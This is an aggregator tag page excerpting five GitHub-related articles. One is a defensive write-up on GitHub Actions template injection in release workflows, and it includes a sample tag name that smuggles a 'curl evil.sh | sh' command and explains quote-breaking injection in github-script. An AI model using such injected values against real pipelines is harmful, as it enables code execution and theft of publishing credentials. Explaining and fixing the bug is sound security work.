今日已更新 222 条资讯 | 累计 40667 条内容
关于我们

标签：#github

找到 1626 篇相关文章

AI 资讯

I Read 25 Release Pipelines Looking for One Bug. Four Had It.

There is one line of YAML I have been chasing across open source for months: run : | TAG="${{ github.event.release.tag_name }}" It looks like reading a variable. It is not. ${{ ... }} is a template expression . GitHub substitutes it as raw text into the script before bash ever parses the line. By the time the shell runs, there is no variable — there is whatever the tag name happened to be, pasted directly into your program. So a tag named: v1.0 "; curl evil.sh | sh; echo " is not compared. It runs. Why it is always the release workflow You could write this bug anywhere. In practice it clusters in exactly one place: the workflow that publishes. That is not a coincidence. Release workflows are where you handle version strings, tag names, and workflow_dispatch inputs — the values that feel like configuration rather than user input. And release workflows are also where the interesting credentials live: permissions : id-token : write # Trusted Publishing to PyPI The two facts meet. The job most likely to contain the bug is the job holding the token that publishes to every one of your users. The JavaScript variant is worse actions/github-script has the same flaw, but people miss it because the block looks like a script file: - uses : actions/github-script@v7 with : script : | const tag = '${{ env.RELEASE_TAG }}'; That script: body is JavaScript source . The expansion happens before it is parsed, so a single quote in the value closes the string literal and the rest is evaluated as code. And a tag name absolutely can contain a single quote. git check-ref-format rejects spaces, ~ , ^ , : , ? , * , [ and backslash. It does not reject ' . The fix is three lines Pass the value through env . An environment variable is only ever data — it is never re-parsed as source text. # Before run : | TAG="${{ github.event.release.tag_name }}" # After env : RELEASE_TAG : ${{ github.event.release.tag_name }} run : | TAG="$RELEASE_TAG" Same for the JavaScript case — process.env.RELEASE_TAG ins

2026-08-26 原文 →
AI 资讯

My 369 Merged Pull Requests On GitHub, Every Single One Linked And Verified

As of August 26, 2026, GitHub reports that 398 merged pull requests carry my name on the author line. Twenty nine of those live inside repositories that I own myself, so I removed them from this count on purpose. What remains is the number that actually matters to me: 369 pull requests merged into other people's repositories , across 33 external projects , maintained by strangers who had zero reason to trust my code. Every single one of those 369 merges is real, dated, and linked in this post. Nothing here is rounded up and nothing is claimed without proof. If you want to skip my writing entirely, open the search query in section two and run it yourself. That is the whole point of this article. You should never have to take a stranger's word about their own stats. Jump To Any Section How I Verified These Numbers | The Complete Scoreboard | 2024 The Year Of Volume | 2025 Fewer Pull Requests Higher Quality | 2026 The Year Production Code Got Merged | What 369 Merges Taught Me | Frequently Asked Questions | Where To Find Me How I Verified These Numbers I did not count these by hand. I queried the GitHub search API directly, which means the numbers come from GitHub itself, not from my memory or my ego. You can reproduce everything in this post with one click: https://github.com/search?q=is%3Apr+is%3Amerged+author%3Aaniruddhaadak80&type=pullrequests Or if you have the GitHub CLI installed: gh api -X GET search/issues -f q = "is:pr is:merged author:aniruddhaadak80" That query currently returns 398 results. I then filtered out every repository under my own account, which left exactly 369 external merges. The math is boring on purpose: 398 minus 29 own repository merges equals 369. One more honest number before we go further. I have submitted 918 pull requests in my lifetime so far. That means fewer than half of everything I ever sent got merged. Rejection is not the exception in open source, it is the price of admission, and anyone who shows you a 100 percent merge rate is

2026-08-26 原文 →
AI 资讯

From "Merge is Deploy" to Release Engineering with GitHub Actions

Have you ever stopped to think about the risk of having a pipeline where any merge into the main branch deploys straight to production without a single safety gate? For a long time, our workflow here was that classic setup almost every developer has used at some point: merge on main triggering an SSH script with git pull and pm2 restart It worked for day-to-day tasks, but it gave a false sense of stability lol The reality check hit when I found a critical blind spot in the automation: remote SSH scripts were running without strict error handling. In other words, if a git pull caused a conflict or a database migration failed halfway through, the script simply ignored the failure, ran to the end, and GitHub Actions marked the pipeline as green The absolute worst-case scenario for monitoring: the pipeline reported that everything went smoothly, while production was already completely down On top of that, the execution order was inverted: database migrations were running before the application build. If TypeScript threw a type error right after, the database schema had already advanced while the new code never booted. And since Prisma has no native down migrations, rolling back meant a high-risk manual intervention I decided to stop everything and redesign our delivery pipeline from scratch, starting from one clear premise: a tag is a release, a merge is not Today, nothing touches the production server without an annotated SemVer tag, going through 6 tightly coupled stages: Strict tag validation: only accepts annotated tags matching vX.Y.Z, ensuring author, timestamp, and audit trail for every single release Quality gates across PR and Release: automated tests with Vitest, strict typechecking, builds, and migration validation against a clean database via workflow_call Decoupled backups: an independent daily scheduled routine combined with a mandatory safety snapshot right before touching production Real migration dry-run: the most valuable gate, where the pipeline resto

2026-08-25 原文 →
AI 资讯

Cursor Releases Origin as an Agent-Native Alternative to GitHub

AI coding agent Cursor has launched Origin, a git based code hosting platform embedded inside its AI-powered editor, positioning it as an alternative to GitHub for teams that already work in Cursor. Origin is rolling out in early beta on Pro, Teams and Enterprise plans, and lives inside a new Codebase tab within the Cursor application. By Matt Saunders

2026-08-25 原文 →
AI 资讯

A Simple CI/CD Pipeline That Actually Works

The Problem with Most CI/CD Tutorials Most tutorials show you a pipeline that deploys a "hello world" app to a free Heroku instance. They skip the messy parts: secrets, rollbacks, and the moment your pipeline breaks because a dependency changed. I've been there. After years of fighting with over-engineered setups, I settled on a minimal pipeline that's easy to understand, debug, and extend. It's not fancy, but it works. The Core Idea A CI/CD pipeline is just three stages: Test - run automated checks Build - create an artifact Deploy - push the artifact to a server We'll use GitHub Actions because it's free for public repos and integrates with everything. But the same concepts apply to GitLab CI, CircleCI, or Jenkins. The Pipeline File Here's the complete .github/workflows/deploy.yml : name : CI/CD on : push : branches : [ main ] pull_request : branches : [ main ] jobs : test : runs-on : ubuntu-latest steps : - uses : actions/checkout@v4 - uses : actions/setup-node@v4 with : node-version : ' 20' - run : npm ci - run : npm test build-and-deploy : needs : test runs-on : ubuntu-latest if : github.ref == 'refs/heads/main' && github.event_name == 'push' steps : - uses : actions/checkout@v4 - run : npm ci - run : npm run build - name : Deploy to server uses : appleboy/scp-action@v0.1.7 with : host : ${{ secrets.SERVER_HOST }} username : ${{ secrets.SERVER_USER }} key : ${{ secrets.SSH_PRIVATE_KEY }} source : " dist/*" target : " /var/www/myapp" That's it. Let's break it down. Stage 1: Test The test job runs on every push and pull request. It checks out the code, installs dependencies with npm ci (which respects the lockfile), and runs your test suite. If a PR fails tests, the build-and-deploy job won't run because of the needs: test dependency. Stage 2: Build The build-and-deploy job only runs on pushes to main (not on PRs). It builds your app into a dist folder. For a Node.js app, npm run build might be a bundler like Vite or webpack. For a Python app, you'd replace with

2026-08-25 原文 →
← 上一页 下一页 →